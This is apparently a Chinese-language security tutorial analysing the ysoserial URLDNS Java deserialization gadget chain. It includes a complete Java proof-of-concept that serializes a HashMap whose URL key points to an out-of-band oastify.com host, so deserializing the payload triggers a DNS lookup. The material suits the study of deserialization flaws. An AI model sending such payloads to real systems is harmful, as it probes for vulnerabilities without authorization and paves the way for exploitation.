URLDNS

URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

利用链

 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 *             handler.hashCode()

原理

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

image-20221118003718726

分析

在hashMap的readObject方法中最后调用了,putVal(),他计算了一下hash(key)

image-20221118005145146

在hash方法中直接会调用key的hashCode方法,这里的key就是我们传入的hashMap的键(URL类)

image-20221118005311542

就直接会调用到URL类的hashCode()

image-20221118005348414

这里有个tips,在hashMap用put写入键值是,也会触发putVal方法,即也会走到这一步,为了与后面的DNS请求不冲突,这里可以有两种方法处理

1.在序列化之前将hashCode的值设置为其他值,最后在put完成后将hashCode值改会 -1

2.或者直接将handler成员的对象的 openConnection getHostAddress方法的返回值为null 即可(参考 ysoserial)。那么即使在调用handlder的getHostAddress 也不会触发。

static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
}

这里原生的handler成员为URLStreamHandler 类的实例对象,调用URLStreamHandler 的hashCode就会触发DNS请求

image-20221118010558799

完整POC

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void serializeble(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(obj);
    }
    public static Object unserializeble(String filename) throws IOException,ClassNotFoundException {
        ObjectInputStream oos = new ObjectInputStream(new FileInputStream(filename));
        return oos.readObject();
    }
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
        URL url = new URL("http://96dcnltlo7dpe8sxm2aw7nwe359wxold.oastify.com");
        Class<? extends URL> uclass = url.getClass();
        Field hashCode = uclass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,1234);
        hashMap.put(url,1);
        hashCode.set(url,-1);
        serializeble(hashMap);
        Object oos = unserializeble("ser.txt");
    }

}

跟点调试

进入hashMap的readObject()

image-20221118011454702

执行URL的hashCode()

image-20221118011539551

hashCode属性值为-1,调用handler的hashCode()

image-20221118011650083

最后调用getHostAddress(),方法执行DNS请求

image-20221118012143052